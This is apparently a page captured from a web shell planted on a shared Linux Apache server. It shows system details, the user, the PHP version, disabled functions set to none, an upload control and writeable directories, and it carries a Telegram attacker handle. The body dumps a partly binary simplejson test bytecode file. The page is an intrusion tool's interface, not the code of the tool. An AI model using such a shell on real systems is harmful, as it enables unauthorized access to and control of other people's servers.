https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/simplejson/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/simplejson/tests/__pycache__/test_errors.cpython-310.pyc
o

\Փa!�@sHddlZddlZddlmZddlZddlmZmZGdd�de�Z	dS)�N)�TestCase)�	text_type�bc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�
TestErrorscCs\ddddd�g}zt�|�Wntyt��d}Ynw|�d�|�t|�d�dS)	N�A)��g@zD tuple)�ar�c)�d��Expected TypeErrorz5keys must be str, int, float, bool or None, not tuple��json�dumps�	TypeError�sys�exc_info�fail�assertEqual�str)�self�data�err�r�>/usr/lib/python3/dist-packages/simplejson/tests/test_errors.py�test_string_keys_errors�

�z!TestErrors.test_string_keys_errorcCsLzt�t�Wntyt��d}Ynw|�d�|�t|�d�dS)Nrr
z.Object of type module is not JSON serializabler�rrrrr�test_not_serializables�

�z TestErrors.test_not_serializablecCszd}zt�d�Wntjyt��d}Ynw|�d�|�|jd�|�|jd�|�|j	d�|�|j
d�dS)N�{}
a
br�Expected JSONDecodeErrorr�)r�loads�JSONDecodeErrorrrrr�lineno�colno�	endlineno�endcolnorrrr�test_decode_errors�
zTestErrors.test_decode_errorc	Cspd}ttfD]/}z	t�|d��Wntjy!t��d}Ynw|�d�|�|j	d�|�|j
d�qdS)Nz
{"asdf": "rr �
)rrrr"r#rrrrr$r%)rr�trrr�test_scan_error*s�
�zTestErrors.test_scan_errorcCs�d}zt�d�Wntjyt��d}Ynw|�d�t�|�}t�|�}|�|j	|j	�|�|j
|j
�|�|j|j�|�|j|j�dS)Nrrr )
rr"r#rrr�picklerr�msg�doc�pos�end)rr�s�errr�test_error_is_pickable6s�


z!TestErrors.test_error_is_pickableN)�__name__�
__module__�__qualname__rrr(r+r3rrrrrs

r)
rr,�unittestr�
simplejsonr�simplejson.compatrrrrrrr�<module>s


https://t.me/RX1948 - 2025